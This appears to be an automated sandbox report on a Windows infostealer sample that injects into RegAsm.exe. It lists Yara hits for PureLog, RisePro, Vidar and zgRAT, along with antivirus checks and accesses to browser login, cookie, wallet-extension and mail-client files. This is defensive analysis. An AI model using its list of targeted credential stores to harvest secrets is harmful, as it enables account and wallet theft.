Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe

Code function: 0_2_0057944C GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_0057944C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00544C30 GetVersionExA,GetFileAttributesW,GetFileAttributesA,

2_2_00544C30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.hhUml7ndoUuFxb5WyDjE.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.2274013587.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2326752861.0000000000C5F000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2304761546.0000000000C5F000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2302133706.0000000000BFF000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY

Yara detected RisePro Stealer

Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ZAu2iiJBgBZikoF1oNNHtbO.zip, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: 43.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.pQuKvF5V8lUXfe4thfRR.exe.430000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pQuKvF5V8lUXfe4thfRR.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7316, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.hhUml7ndoUuFxb5WyDjE.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7316, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.hhUml7ndoUuFxb5WyDjE.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.2274013587.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2326752861.0000000000C5F000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2304761546.0000000000C5F000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2302133706.0000000000BFF000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY

Yara detected RisePro Stealer

Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ZAu2iiJBgBZikoF1oNNHtbO.zip, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: 43.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.pQuKvF5V8lUXfe4thfRR.exe.430000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.2301583226.000000000045F000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pQuKvF5V8lUXfe4thfRR.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7316, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.hhUml7ndoUuFxb5WyDjE.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.MSIUpdaterV168.exe.c30000.0.unpack, type: UNPACKEDPE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221EE200 sqlite3_initialize,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	43_2_221EE200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221EE090 sqlite3_bind_int64,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	43_2_221EE090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221FE170 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	43_2_221FE170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221966C0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_null,sqlite3_bind_blob,sqlite3_bind_value,sqlite3_free,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	43_2_221966C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221FA6F0 sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,	43_2_221FA6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221DEF30 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,	43_2_221DEF30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22243770 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	43_2_22243770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222637E0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	43_2_222637E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221AB400 sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,sqlite3_reset,sqlite3_step,sqlite3_reset,sqlite3_column_int64,	43_2_221AB400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221B7810 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	43_2_221B7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221F8200 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,	43_2_221F8200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22264140 sqlite3_bind_int64,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_initialize,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	43_2_22264140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221A8680 sqlite3_mprintf,sqlite3_mprintf,sqlite3_initialize,sqlite3_finalize,sqlite3_free,sqlite3_mprintf,sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_int64,	43_2_221A8680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221D06E0 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	43_2_221D06E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221B8430 sqlite3_bind_int64,	43_2_221B8430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221D8550 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,	43_2_221D8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22194820 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,sqlite3_initialize,	43_2_22194820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221B8970 sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	43_2_221B8970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221B0FB0 sqlite3_result_int64,sqlite3_result_double,sqlite3_result_int,sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	43_2_221B0FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221B8CB0 sqlite3_bind_zeroblob,	43_2_221B8CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22264D40 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	43_2_22264D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2223D3B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	43_2_2223D3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22219090 sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_errmsg,sqlite3_mprintf,	43_2_22219090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222251D0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	43_2_222251D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_2225D610 sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	43_2_2225D610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222AD4F0 sqlite3_bind_value,sqlite3_log,sqlite3_log,sqlite3_log,	43_2_222AD4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222A14D0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	43_2_222A14D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222255B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	43_2_222255B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221FDB10 sqlite3_initialize,sqlite3_bind_int64,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	43_2_221FDB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22225910 sqlite3_mprintf,sqlite3_bind_int64,	43_2_22225910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_222AD9E0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	43_2_222AD9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22201FE0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	43_2_22201FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_221FDFC0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_mprintf,sqlite3_bind_text,sqlite3_step,sqlite3_reset,	43_2_221FDFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_22195C70 sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	43_2_22195C70

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
